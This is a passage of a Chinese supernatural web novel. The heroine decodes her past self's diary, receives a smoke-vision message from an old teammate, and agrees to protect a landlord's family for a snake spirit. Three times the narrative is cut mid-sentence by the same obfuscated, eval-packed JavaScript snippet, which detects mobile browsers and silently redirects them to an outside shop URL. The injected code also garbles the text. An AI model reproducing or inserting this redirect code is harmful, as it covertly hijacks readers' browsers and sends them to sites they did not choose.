真没想到啊,这位前苏联的国际友人不仅入乡随俗改了中文名,连这种中华文化里特有的烧元宝祭祖的习惯也学会了。 她有几分烦躁地掐了掐眉心,“现在城市哪还有地方让烧这种东西?” 家里肯定不行,也不能端个盆就在楼下烧。真这样干了,绝对隔天就被人挂网上。 “江边。” 秦熏微怔,“你是说……” “对。就是你烧毁我容器的那个江边。” 她轻轻吐了口气:“也只能这样了。” 半夜。 秦熏窝在卧室里偷偷打开那本刘婷给她的笔记本。 虽然当时有脑中那贝壳作祟,笔记本上的那段话她没能看全,但她就是感觉,那段话里的“它”说的就是阿冬。 毕竟什么“容器”,什么“祭坛”都出来了,画上的盒子又跟她江边烧的那个一模一样,除了它还能有谁? 换句话说,笔记可能记录了一些关于它的秘密,譬如它的来历,它的目的。 白天兵荒马乱的,阿冬又几乎一直在她身边,她找不到机会看。 这会儿夜深人静,阿冬也从来不会进她房间,她终于有功夫慢慢琢磨了。 她翻开第一页,没有“贝壳”干扰,书页的笔迹原原本本展现在她眼前。 字迹飘逸,笔锋带点棱角,跟她的一模一样。 【今天起,我将改用特殊处理过的血蚁墨来写日记。这样一来,别人眼里这就是个画本,只有我能看懂。之前用普通墨水写的东西,总有人趁我离开的时候从地里挖出来,搁外头展览,很讨人厌,以后再不会这样了。】 秦熏暗暗点头,现在是可以确定了,这东西百分百就是以前的她写的,只有她看得出来这笔记里有字。 她兴致勃勃,接着往后看。 流水账,流水账,还是流水账。 一连十多页,要么是在抱怨地里的庄稼生虫了,要么是高兴养的母鸡生蛋了,偶尔还会有一两首矫揉造作的自创现代诗,看得她那叫一个脚趾扣地。 秦熏很想穿进日记里抓着过去自己的衣领晃:你怎么就光顾着田园生活了,你以为你是陶渊明呢? 用上了这么好的保密法子,能不能记点正事? 强打精神看完了许多篇流水账后,终于在1965年冬天迎来转机。 【它又醒了。每年都是在冬天,这种冷得要死的季节来找我。烦死了,以后干脆叫它阿冬吧。这笨蛋听不出我在埋怨,还觉得这名字挺好。我真懒得笑话它。今天去检查了一下各个门,还好,都没开,还能再苟一阵子。1965年冬】 【还是高兴得太早,上个月刚才说门都好着,今天就出事儿了,刻了108个符才把门堵上。烦人,我干脆转行去做木匠得了。1966年春】 秦熏暗自琢磨,这个门是什么东西? 一连好多年,她都在到处跑,在全国各地修门,哗哗往后翻了好多页,终于再次翻到画了盒子的那一页。 【它看中了梅林祭坛里的这个盒子,说是想拿来做容器,我有点犹豫要不要去帮它取。这是咱们认识这么多年以来,它第一次提起“容器”,问它它还遮遮掩掩。感觉不是什么好兆头。1985年春。】 【门的境况越来越差,估计是彻底堵不住了,我还是得下山走一遭,烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13902212|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。阿冬也一直问我容器的事,但我压根儿不知道那什么梅林祭坛在哪儿嘛。它霸占电视我都没骂它,还敢催我。1985年夏。】 【我们部门来了个苏联人,说话有点大舌头,名字特别难记,我只记住了有个乔,有个娅。大家给她起了个中文名。既然她喜欢西游记里的孙猴子,干脆叫孙乔娅好了。叫着叫着,不知什么时候开始就成孙巧了。1986年冬】 秦熏从这里开始打起精神了,1986年这个时间点,刚好跟那些照片后写着的时间对上。 【小袁向我递了退队申请。我有些奇怪,细问才知道,原来是丈夫去世,也没有其他亲戚,女儿娜娜没人照顾。可小袁能力不错,离开很可惜,但家里这个情况也真是叫人为难。我得想想有没有两全之策。1988年春。】 秦熏微怔,这里的小袁的女儿,娜娜,会不会就是袁娜?名字一样,遭遇类似,不怪她想多。 【最近局势愈发紧张,小袁还是决定留下,把娜娜带在身边。孙巧也打算这段时间留在中国,等这波怪物潮过去了再回。这些怪物狡兔三窟,杀了一茬,还有一茬,到底什么时候才是个头啊?一年里头我们小队光是大型任务就出了得有五六次。我也算是发现了,咱们人现在有了枪炮,它们也开始进化了,麻烦。以后记一下它们的变化吧。1988年夏】 这之后的笔记开始详细记录各种怪物的特征,跟说明书似的,秦熏一目十行翻过去,竟是就直接来到1992年了。 【梅林祭坛终于现世,我要带人去一趟,把它一直念叨着的那个盒子取回来,顺带把这回的任务给做了。孙巧不知哪儿搞来一架直升机,我也是头回知道,原来她是个退役飞行员。这次任务,大家瞧着都很高兴。因为婷婷马上满周岁了,回去的时候刚好能赶上孩子抓周宴。刘耀很是阔气,说女儿要是抓周抓到枪,那就把我们的份子钱都免了。婷婷你可得争气,让你爸出点血。1992年春】 这是笔记的最后一页。 如果秦熏猜的没错,这就是第二十六次任务,他们搭乘的直升机在任务中坠毁,被那条巨大触手拖进深渊。 她面色凝重地合上笔记本。 那之后呢? 既然现在孙巧还活着,还能给她写信,那直升机上的其他人呢? 这么多年孙巧联系过她吗?还是说跟随她的其他记忆一起,被她忘掉了? 92年到今天足足有32年的空白,烧掉阿冬的那个容器是发生在这段时间里的事吗? 她睁圆眼睛瞪着天花板,这么多问题,她愣是想不出个所以然。 琢磨了大半个晚上,她也不知不觉睡着了。 -- 次日一早,她是被卧房外飘来的香气弄醒的。 打开门一看,桌上已经摆好了早餐,小巧挥舞着铲子跟她问号,“秦小姐,早安。” 秦熏一愣:“你会做饭?” “是的。”小巧骄傲地动了动头上的脚,“主人夸我是专业水准噢。” 秦熏环顾一周,那只小熊玩偶四仰八叉倒在沙发上,她拎起来晃了晃,玩偶毫无动静。 阿冬不在里面。 “阿冬呢?” 小巧挠了挠脑壳,“它说去看房了。” “哈?”秦熏懵了,“看房?” 离月底还有一会儿呢,她都没急着挑房子,它这么着急忙慌地干什么? “算了,不管他,一会儿你跟我去趟江边。” 用过早饭,秦熏拎着个装满金银元宝的帆布袋从家出发,小巧缩回巴掌大小的黑团子,挂在包上,跟个毛绒挂件一样。 抵达江边的时候,已经有大爷大妈绕着江边晨跑健身了。 她拉拉头顶的帽子,下到更靠近河岸的堤坝边。 很快,纸扎的元宝就在大火中熊熊烧了起来,火光冲天。 也不知道是不是纸张质量不行,腾起的烟雾大得很,还很熏眼睛,不一会儿就将秦熏整个人笼罩其中。 她的视野变得朦朦胧胧。 一个人急切地拍了拍她的肩膀,“喂,醒醒!” 秦熏猛地睁开眼睛,眼前是穿着作战服的队友们,他们的头发被巨大的气流吹得乱七八糟,面目模糊。 震耳欲聋的螺旋桨声在她耳畔轰鸣。 她又回到了直升机上。 又是做梦么? 她掐了自己一把,痛的。 可伸手去摸,队友也好,直升机也好,都只看得见摸不着。 秦熏飞快冷静下来,大概率是幻象。 多半是金元宝里有能致幻的东西,烧起来之后被她吸了进去,就把她拉进幻觉里。 她目光扫过直升机里的一众队友,落在驾驶舱中的那个女人身上。 女人正回头看着她。这是直升机里唯一一个面目清晰的人。 秦熏看过照片,她一下子认出来这个人就是当年的孙巧。 21. 毒蛇 孙巧看着秦熏,定定盯了她良久,才缓缓道:“只有你还是老样子。” 她的汉语很流利,声音却有点沧桑,并不像眼前这个看上去至多20出头的孙巧会发出的声音。 秦熏忽有所觉:“你是现在的孙巧?” 孙巧颔首:“对。要不是实在没办法,我也不想用这种方式找你。” 秦熏有点好奇:“这到底什么手段?” 孙巧苦笑:“你果然是失忆了。这是烟镜,能在幻境里远程联络对方的意识体。当年还是你教会我的。” 听她这样,倒像对秦熏失忆一点儿都不奇怪似的。 秦熏抱起胳膊:“你这又是俄文信,又是中文信,现在又来个烟镜,这么弯弯绕绕的,是在跟谁打哑谜呢?” “我刚从精神病院里逃出来,现在到处有人在找我。”孙巧神色紧张,“我只能用这样的方式让小巧把消息递出去。” 秦熏:“……” 孙巧忙道:“你别误会,我精神没问题。是有人要害我!” 这句话可一点说服力都没有啊,哪个精神病人会说自己有病? “你先打住,”秦熏眉头皱起,“你是怎么弄到我家地址的?” 她搬进这房子才多久了,也就三个多月,这三个月里又从来没跟孙巧联系过,地址是怎么泄露的。 孙巧叹了口气:“我是不知道,但小巧清楚。你的坐标在他们这种非人怪物眼里清楚得跟天上的启明星一样。” 挂在秦熏包上的小怪物听到自己的名字,得意地晃了晃头顶肢体。 秦熏抿了抿唇,还真跟日记里抱怨的差不多,自从阿冬出现,这些麻烦也一样接一样上赶着来了,以前可没什么非人怪物找上门。 孙巧轻咳一声,继续道:“烟镜持续时间有限,我们长话短说。你能来一趟吗?我有要紧的事。” “什么事不能现在说?” 孙巧身形一动,从怀里掏出一本巴掌大的黑皮笔记本,“我这儿有本你的日记。这东西得亲手交给你。” 秦熏:“我的日记怎么会在你那儿?” 孙巧笑了笑:“要不说你失忆了呢,你当时自己给我保管的,现在我有心无力,你赶紧把这你的东西拿回去。” 秦熏眯了眯眼睛,“你先翻开给我看看。” “你也真是,失个忆而已,性格变得跟曹操一样多疑。”孙巧抱怨着翻开纸页,纸上却是肖像画,“烟镜没法儿实物转达,反正我眼里看见的就这模样。” 秦熏沉吟片刻,“你人在哪儿?” 孙巧指了指小巧,“它不是给你背了一个袋子嘛,里面有本地图册,上面标出了位置。然后小巧给你的那封俄文信,你拿醋泡一下,上面会有一个电话号码,到了位置后打那个电话,会有人去接应的。” 秦熏:“……特务接头都没你这么复杂。” 孙巧煞有介事:“你要是也被关进过精神病院,好不容易才逃出来,绝对比我还过分。” 秦熏眸光微动:“你为什么会被关进精神病院?” “这个说来话长,见面再说。”孙巧的身影逐渐模糊在烟雾中,她抓紧时间道:“对了,也不知道外面现在是什么时间,你千万看准日子,一定要中秋后再来!” 中秋?秦熏有点无语,这不还有一个多月,至于提前这么多通知么? 这会儿烟雾已彻底散去,孙巧没能听见她的抱怨。 她身前的金银元宝被烧成灰烬,河风一来,掀起的纸灰飘进水里,随着水流流向远方。 秦熏站起身,拍拍身上的灰,准备回家。 刚上河堤,她看见一个熟悉的身影迎面走来,房东陈发。 陈发四十岁上下,瘦高体型,给人的第一感觉就是干巴。 他脸颊上也没什么肉,鼻梁挂一副金边眼镜,本来就长的脸被收得更窄,五官局促地塞进那张马脸里,眼间距近得有点刻薄相。 这个时间点,秦熏猜他应该是晨跑完准备回家。 她也不知道陈发到底有几套房,光是她知道就有两,江边这套和她现在住的那套。人和人真是不能比。 刚要移开视线,陈发忽扭头看了过来,目光与秦熏对了个正着。 他推了推眼镜,打量的目光落在她脸上,顿了几秒,“你是……秦小姐?” 秦熏冲他微微颔首:“早。” 打完招呼,她准备离开,陈发却突然拦住她,目光不甚友善:“秦小姐,你要是对我要求你退租这事儿有什么不满,可以直说,没必要背地里玩这种手段吧?” 秦熏一愣:“你在说什么?” 陈发指了指她沾着星点纸灰的袖口,“这几天天天往我家门口堆纸钱的,是你吧?” 秦熏气笑了,“我连你家住哪儿都不知道。况且我要真想给你找晦气,直接在我租的那屋子里烧不就得了?还打车跑这么老远?” 陈发怔了一下:“那你怎么在这儿?” 秦熏没好气道:“除了这江边,你倒是给我指一块允许烧纸钱的地方?” 陈发被她这么一噎,一时语塞。 他面色惊疑不定,又实在找不到证据,只能让秦熏离开。 与他擦肩而过时,秦熏余光突然瞥见一条粗黑的辫子从他肩头飞快掠过。 她步伐不由一顿。 定睛看去,哪是什么辫子,分明是条长蛇。 蛇头尖尖,体表颜色亮眼,还是条毒蛇。 也不知道它是什么时候爬到陈发背上去的,头部离他的脖子只有几公分。 陈发察觉到她目光所在,刚要扭头,秦熏低声喝止:“别动!” 他也不傻,秦熏这个表情,是个人都知道不对劲。 长蛇缓缓游动,泛着冷光的鳞片擦过陈发的脖子,他僵着脖子,愣是不敢动弹,只额角挂上几颗冷汗,“什,什么东西?” 秦熏缓缓道:“蛇。” 陈发脸色骤变,嘴唇只打哆嗦:“你,你别开玩笑。” “骗你干嘛。”秦熏拿手机给他拍了一张,那蛇就趴在他最热乎的脖子边,蛇眼直勾勾盯着镜头,凶光毕露。 陈发人抖了一下,秦熏厉声道:“千万别动,这个部位要是被咬了,神仙来了都救不了。 ” 陈发都快要哭出来了,“那,那我现在怎么办?” “我替你报警,你站着别动,等警察来。” 秦熏倒是可以直接用丝线控制蛇,让它自己爬下来,但她这人记仇,陈发先是不由分说赶她退租,又是空口白话诬陷她,她才懒得费这个心思,帮忙报警已经是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973014|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以德报怨了。 “别!”陈发忙道,“别报警!” 秦熏眯了眯眼睛:“为什么?” 陈发干笑两声,“这点小事哪有麻烦人家出警?你看看附近有没有长树枝,帮我扒拉下来就行。” 秦熏好整以暇,“这种事还是专业人士来,万一我手下没轻没重,反而把它激怒了,那不是直接一口送你归西了嘛。” 陈发面色难看,一时沉默。 秦熏心中暗道,这到底是做了什么事,宁愿丢了命都不敢见警察? 思考片刻,她悄悄探出丝线,没连在蛇身上,而是连上了陈发。 她没打算控制他,而只是利用丝线连接到目标瞬间能读取对方当下记忆这一特点,对陈发来一次读心罢了。 出乎意料,陈发居然不受丝线影响,她探出去的丝线的的确确触碰到了陈发的灵魂,却像被什么东西推了回来。 但看陈发面色,却不像是发觉秦熏暗中动作的样子,面上依旧纠结万分,半是惊恐,半是迟疑。 那条蛇却直起身子,嘶嘶吐着蛇信,目光凌厉,死死黏在她身上。 秦熏心念一动,忽觉异样。 她先入为主,觉得这蛇落在陈发身上所以目标是他,可仔细一想,自始至终,这条蛇好像都没有攻击陈发的意思,它那不友善的目光一直都是朝着秦熏的。 她不动声色收回丝线,转而探向毒蛇。 蛇猛地弓起身子,丝线那端传来阴沉的女声:“我劝你不要干涉我和他的因果,否则我不会客气。” 秦熏挑眉,这还是她第一次遇见能抵御丝线控制的生物,不管用多少丝线,控制不了就是控制不了,至多是像现在这样做通讯手段使。 但这条蛇明显很忌惮她,只动嘴威胁,并不敢真的攻击。 她心中默问:“因果?你和陈发?” 毒蛇冷冷道:“他曾助我修行,我需报恩圆上因果。你要是坏了我的事,我无论转生多少次,都不会放过你。” “哦,”秦熏无甚所谓,“反正我又没打算找他麻烦。现在把他吓个半死的是你。” 毒蛇愣了一下,终于后知后觉——它下意识绷紧身躯的时候,陈发已经被勒得口吐白沫了。 它松开陈发脖子,缓缓爬回地面。 捡回一条命的陈发当即蹿了出去,但麻软的腿脚没能支撑住他身体的重量,人重重摔在地上,正好倒在毒蛇边。 他惊叫一声,连滚带爬逃出十多米,却不慎闪着了腰,趴在地上动弹不得,冷汗津津。 不光是秦熏,那毒蛇也有点无语,“我有这么吓人?” 它靠近陈发,竖起的蛇瞳中寒光一闪,陈发的尖叫登时被掐灭于喉间。 他两眼翻白,瞬间失去意识,身躯却像受到无形力量的牵引,颤颤巍巍站了起来,恭敬将蛇托起,捧在掌心。 秦熏眼皮抖了抖,姐们儿您这形态真是来报恩的吗?怎么看上去像是给自己找了个坐骑? 可能是察觉到秦熏的确没有恶意,毒蛇剑拔弩张的态度稍稍缓和,“既然是误会,那便放你一马。” 秦熏目送陈发托着毒蛇离开,若有所思地摸了摸下巴,刚才那蛇说什么来着,“修行”?是她想的那样吗? 她沉吟片刻,悄悄跟了上去。 22. 柳湘 也不知是不是被那怪蛇上身的缘故,陈发虽身形僵硬,步伐却飞快,要不是秦熏动作利索,可能一过转角就被甩掉了。 她跟陈发始终保持着十米以上的距离,十来分钟后,陈发突然左转进了一栋写字楼。 趁大堂保安没注意,秦熏也也跟着人群混了进去,一路紧随其后,抵达地下车库。 现在还没到上班时候,车库里人很少,偌大一片空间寂静到甚至能听见陈发沉重脚步的回声。 秦熏屏气凝神,不动声色靠在混凝土石柱后,紧紧盯着几米开外的那辆车,还有车后的陈发。 陈发打开后备箱,定定看了一眼,随后从口袋里掏出什么东西,直接丢了进去。 秦熏听见尖锐而短暂的噗嗤声,像是充分摇晃后的可乐瓶突然被捅了一刀。 她轻轻捏了捏布袋侧面那只安静假装挂坠的毛团怪物,用气声问道:“你上去看看,里面什么东西。” 小巧探出细密的足肢,身形拉长,像只巨大的蜘蛛,无声无息地挪动到陈发身后的天花板墙角处。 后备箱里是一具尸体。 尸体体表泛着一层不祥的暗绿,姿态怪异地挤在狭小后备箱里,四肢被扭曲地折断,头颅跟脖颈的错位更是离谱,也不知这具尸体生前到底经历了什么才会弄成这个样子。 陈发往尸体上撒的东西是一大把白色粉末,粉末落在尸体皮肤,霎时激起一片气泡,屡屡黑烟从破裂的气泡中争先恐后冒了出来。 小巧悄悄缩了回来,跟秦熏汇报了自己的发现。 秦熏皱了皱眉头,难怪陈发不敢报警,原来是在这儿藏尸了。 她心头不知为何浮起一股怪异的感觉。 会冒黑烟的发绿尸体,正常人类死亡后会有这种迹象吗? 况且她离陈发那辆车其实不算远,这个距离按说应该是能闻到点味道的,但她鼻尖感受到的只有地下车库中特有的那种潮湿阴冷气息。 撒完粉末后,陈发如释重负般长舒了一口气,姿态肉眼可见轻松不少。他合上后备箱,转身离开地下车库。 秦熏缓步走到那辆车后,后备箱关得严丝合缝,却锁不住液体,暗绿粘稠的液体从缝隙里挤了出来,滴答滴答落在地上,溅开一片片暗色的小圆点。 与此同时,她听见什么东西在地上游走的声音。 秦熏反应很快,猛地右撤几步,和声源拉开距离。 她打开手电,扭身照亮那一片区域,液体里晃晃悠悠爬出一条湿乎乎的细长藤蔓,游蛇一样朝秦熏探来。 小巧怪叫一声:“天呐,它怎么会变成这样?” “这什么东西?”秦熏边灵巧走位,边问它,“你见过?” 小巧叹了个悠长的气:“这是我的同类呢。” “同类?”秦熏顿了一下,小巧疾声道:“小心!” 她猛地扭头,那藤蔓居然从中分出无数细长岔枝,像植物的根系一样,往四面八方扩散开来,织成一张偌大的网,将秦熏的行动封锁在巴掌大小的空间内。 藤蔓内侧长着无数吸盘,吸盘中央分布着不规则的孔洞,正随着藤蔓的动作而翕张。 一股难以言喻的腐臭血腥气味自孔洞里逸散而出,秦熏背脊一凉,反应迅速地回身薅住半空中试图偷袭的东西。 那是一捆鲜红的细丝,摩擦时像蛇信一样嘶嘶作响,尾端连接着吸盘上的孔洞,首端被秦熏攥在掌心。 她瞳孔微缩,这些细丝柔韧得跟堵在下水道口的头发一样,即便被她抓住了也不老实,反而争先恐后顺着她的手掌攀上她的整条手臂,激起她一手鸡皮疙瘩。 小巧趴在藤蔓上,语气里满是惊异:“你的表皮到底是什么材质的?这都破不了防么?” “哈?”秦熏边撕扯细丝,边问小巧:“你什么意思?” 小巧也帮忙扒拉细丝,一边解释,“我们根妖其实原来是吃素的,但一部分族人变异,改吸食哺乳动物为生,而且把躯体吸干后会缩在里面,跟寄居蟹一样。换是其他人早就被吸成人干了。” 秦熏嘴角抽了抽,好么,又是个觊觎她这一身血肉的,这些怪物什么的就没有什么新鲜的追求吗? 小巧上手后,细丝剥落的速度明显变快,且逐渐往它那儿聚集,藤蔓逐渐把重心从吸食猎物转到驱赶外来者,小巧有些苦恼:“真没想到,还是幼年体就这么护食呢。你误会了,我没有跟你抢的意思。” 被当作“食物”的秦熏忍不住吐槽:“你确定要当着我的面说这种话?” 小巧忙挥挥头上肢条:“抱歉抱歉,我没有别的意思。”它趴在藤蔓上嘀嘀咕咕,“虽然不了解你们肉食主义者的世界啦,但作为前辈,我还是能给你一些建议的噢~” 秦熏挑眉,它这是在跟这藤蔓说话? 小巧的声音越压越低,语速越来越快,咕噜咕噜说了一大串,围绕在秦熏身边的藤蔓逐渐软了下来,收起四下蔓延的岔条,变成一条猫尾巴似的枯绿藤条,软趴趴耷拉在地上。 “好了!”小巧捡起那藤条插在脑门儿上,一副大功告成的样子,“完事儿了。” 秦熏:“……”虽然不理解,但她沉默片刻,还是努力找了个说法概括刚才发生的事情:“你把它同化了?” 小巧挠了挠头:“也不算啦,新人入社会,总是需要前辈带的嘛。加上我人格魅力比较强,它说以后就跟着我混了。” 秦熏欲言又止,可以吐槽的地方太多以至于她找不到下嘴点。 她明智地选择转移注意力,把目光落在后备箱上:“那里面的尸体打一开始就是被它吸光的空壳?还是说陈发往里面撒的粉末有什么玄机?” “尸体发绿,说明已经被寄居了。”小巧道,“至于那粉末是什么,我也不知道。” “小苏打粉而已。” 秦熏一愣,循声回头,陈发就站在不远处看着她……不,确切的说,是他身体里那条蛇在盯着她。 “我猜到你会跟上来。”陈发缓步上前,目光扫过地上粘稠的液体,有意味深长地看向秦熏:“都说好奇害死猫,没想到你会是个例外。” 秦熏若有所思,她今天遇见陈发,想来并非巧合,是有人想把她引到这里罢了,难为还专门给她表演里一场蛇妖报恩的戏码。 “陈发”笑了笑:“看来你已经猜到了。” 蛇从他的身体里重新钻了出来,爬上车的引擎盖,立起身体和秦熏平视,“这世上会用烟镜的人极少,其中愿与人为善者只占了两成不到,这两成里好奇心重,爱管且能管闲事的更是少之又少。既然能追到这里,你和我是同类人。” 同类“人”?秦熏嘴角抽了抽,这家伙以一条蛇的形态说这句话实在有些滑稽。 似乎看出了她的狐疑,蛇解释道:“我修行千年,化形成人,离飞升成仙只有一步之遥,可惜渡劫时遭人陷害,道行毁于一旦,得陈家人相助才侥幸存活。虽然如今只能勉强维持本体形态与你交谈,但广义来说,我也的确算是人。” 秦熏微微颔首:“啊,这样。” 蛇眯了眯眼睛:“你不相信?” 这不是信不信的问题,虽然秦熏早在这蛇最初提到“修行”二字的时候就有所猜测, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037489|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但它正儿八经把“化形成人,飞升成仙”这几个字摆到明面上来,她还是觉得有点荒谬。 即便已经接受这个世界上有怪物的事实,但“修炼升仙”这个概念对现在的秦熏来说,完全不是一个世界观的产物啊! 就像是在低魔游戏里强行插入高魔设定,又好比吃饺子,结果咬了一口发现是米饭馅的。 两个都能吃,放在一块儿就给人一种说不清道不明的怪异感。 她的沉默持续得太久,蛇有些不耐烦,“你倒是表个态,如果你实在不愿意,我也不会勉强你帮忙,今日便当我们没见过。” 秦熏轻咳了两声,表什么态,她连状况都没摸清好不好?!突然抛出这种跟她认知迥乎不同的设定,谁知道这是真是假。 “要请人帮忙,起码得自我介绍吧。” 蛇躯上飘起一阵青烟,秦熏眼前出现一个人形幻影。 她身着一身浅青长衫,腰间系了一条蛇皮似的丝带,长发成髻,别了支蛇形长簪,完全是古代人的装扮。 秦熏看向她的脸,眉目狭长,天生笑唇,有几分古典美人韵味,只是左右两眼下对称分布着的几片淡色蛇麟和竖条瞳孔喧宾夺主地强调出非人感。 “柳湘。”她自报家门,“这是我人形时的相貌。”幻影只支撑了几秒就消散了,柳湘又变回蛇的模样,“如何,现在总能信了?” 秦熏敲了敲汽车后备箱,“先解释一下这具尸体吧,我可不想跟杀人犯打交道。” “就是你那只灵宠说的那样,”柳湘靠在车门上,语气幽幽,“被根妖附身的人类尸体,简而言之,僵尸。” “僵尸?” “自上个月开始,它们频繁在陈家附近出没,最开始来的几个水平很弱,甚至不如普通人类。但最近来的越来越棘手了,这是昨天在他家门口撞见的一具,我几乎是把这几年养回来的修为全耗光了才收拾了它。”柳湘语气愈发凝重,“若是再来个更强的,我恐怕就……啧,要我是全盛期,也不至于被几具僵尸逼得走投无路。” 秦熏瞥了眼立在原地一具空壳般的陈发,“那这些僵尸为什么会缠上陈发?” 柳湘摇摇头:“恐怕是冲着我来的。” “你惹的仇家?” 柳湘顿了顿,有些唏嘘道:“与其说是我的仇家,不如说是一群以狩猎修行者为乐的特殊存在……这些僵尸,大概只是先头兵吧。” “狩猎修行者……的特殊存在?”秦熏不禁侧目,“你知道它们的底细?” 柳湘摇头:“不知道。我当年渡劫失败后昏迷了很多年,再醒来的时候,世界已经彻底变样了,道友也好,仇敌也好,都死光了;连昔日如日中天的人类修士门派都凋敝殆尽,我找了很久,才找到残余修行者们的藏身之处。谁能想到啊,百万修士,现在只剩一百个不到,为了躲避外界的狩猎者,缩在角落里苟且偷生。我为了找到陈家人,必须入世,几番险些和它们对上,都侥幸逃脱,这次,怕是来真的了。” “你不会是想要我帮你对抗这些狩猎者吧?”秦熏神情有些僵硬,开什么玩笑,这和螳臂当车有什么区别。 “不,怎么可能。”柳湘回头指了指陈发,“我离完成与陈家间的因果还剩最后一代了,只要顺利守到他女儿降生,一切就能结束。他老婆的预产期应该就在这周,但我有预感,那些东西的行动恐怕也是这几天。” 秦熏啊了一声:“你是想请我守着他妻子?” “是的。”柳湘从蛇口里吐出一个锦囊,“这是预付的定金……嗯,现在应该不流行用灵石了,金子应该也可以吧?” 23. 婴灵 秦熏低头看了眼手里的东西,浅绿丝绸质地,还绣了条蛇纹,简直就像古装剧剧组里拿出来的道具嘛。 她掂了掂,沉甸甸的,打开一瞧,里面还真装着形状不规则的金块。 她面上牵出真情实意的微笑:“早说是这种忙,我肯定帮的嘛。关照孕妇,人人有责。” 柳湘嘶嘶吐着蛇信:“事不宜迟,我们兵分两路。我引开那些家伙,你帮我盯着陈发家,等孩子顺利降生,再用这个联系我。”她蛇尾卷来一块鳞片样的东西。 “怎么用?” “跟烟镜一样,不过是能重复使用的。” 秦熏接过鳞片,直言不讳:“万一你出事了呢?照你所言,那群人不像好对付的。” 柳湘语气平静:“活了这么多年,逃命的手段还是有的。” “那好。”秦熏也不废话,“住址给我。” 柳湘瞥了眼不远处木然立着的陈发:“我离开后他就会恢复神志,跟着他就行。” “对了,”离开前柳湘又补充道:“陈发一家并不知道我的存在,希望你不要暴露我。” 秦熏点头,没问为什么,客户第一,钱给够,什么要求她都尊重。 柳湘扭动蛇躯,很快消失在车库角落里,果如她所说,几乎是她前脚刚走,陈发的身体就剧烈抖动了一下,恍若大梦初醒般一脸懵逼地环顾四周,“我,怎么在这儿?” 秦熏抱起胳膊打量他:“你还记得什么?” 陈发闻声看向秦熏,双眸讶异睁大:“秦小姐?你怎么会在这儿?啊……等等,我今天的确见过你,你在江边烧纸钱,然后……”他有些茫然地眨了眨眼睛:“然后发生了什么?” 对毒蛇缠身那一段毫无印象啊,秦熏暗道,看来从蛇出现开始就是柳湘在用陈发身体演戏了,他这个本体是啥都不知道。 也好,省了她解释的功夫。她清了清嗓子,“你冤枉我在你家门口烧纸钱,还记得么?” 陈发眉头皱了皱,“好像是有这么回事……” 秦熏继续道:“虽然不是我弄的,但这种事我处理过,可以帮你看看。带路吧。” “啊?”陈发有些懵,秦熏不耐地催促道:“有人要帮你忙,你还犹豫什么?” 陈发看着秦熏的目光又惊又疑,愣了半晌才慢吞吞打开车门,“那,那先上车吧。” 车辆启动,陈发把着方向盘,目光时不时瞥向后视镜,暗中打量后座神情淡然的年轻女子。 他出租房子时并未委托中介,因此是和现任租客秦熏直接打过照面的。 陈发对她的第一印象很深,毕竟她长得很漂亮,任谁都容易多看两眼,但最令人无法忽视的其实是她身上那种说不清道不明的违和感。 他这么多年来见过形形色色的租客,看人的目光也被打磨得愈发锐利,她是为数不多给他这种感觉的人。 从她提供的工作证明来看,她只是普通人,在普通的公司里上普通的班,和任何一个打工人毫无区别,但她身上又充斥着一种游离于社会外的特殊气息,非要打个比方,就像一滴落入水里的油。 她眼珠很大,目光却很空洞,静静盯着人的时候,眼黑中会映出人扭曲的倒影,令人莫名寒毛倒竖,直到她客套地微笑起来或者开始说话,那种诡异的紧绷感才缓缓消退。 陈发打一开始就觉得她不大寻常,其实并不是很想把房子租给她,但回过神时,已经把钥匙交出去了,期间发生了什么,他毫无印象。 妻子说这种情况可能是老年痴呆的前兆,虽然他还算壮年,但听说这种病现在也有年轻化的趋势。 他心里惴惴不安,去医院检查,医生只说可能是压力太大或者睡眠不足造成的精神恍惚,让他注意休息,他提心吊胆了一段时间,见这种事没再发生,才终于放心。 房子已经租出去了,也不好直接反悔,直到前不久的异常用电情况发生,他才找到赶人离开的借口。 没想到才过去几天,今日再度和这个女人打了照面,那种情况又发生了。 他如芒在背。 清醒地意识到自己的身体再次自主行动于他而言足够惊悚,会和她有关系吗? 后视镜中的女人漫不经心地在车内打量,目光忽瞥向车后备箱,往里看了一会儿,才收回目光,似乎是注意到他在悄悄打量,她的视线敏锐地扫了过来。 陈发迅速收回目光,强自镇定地望着前方道路。 后备箱里有什么?她为什么要盯着看那么久? 是和他家门口的纸灰,院子里的碎骨,妻子床榻上的黑脚印一样的东西吗? 她为什么会提出帮忙?她知道这些到底是怎么回事吗? 陈发思绪越来越乱,这些时日积压的惊惧和恐慌像雪球一样越滚越大。 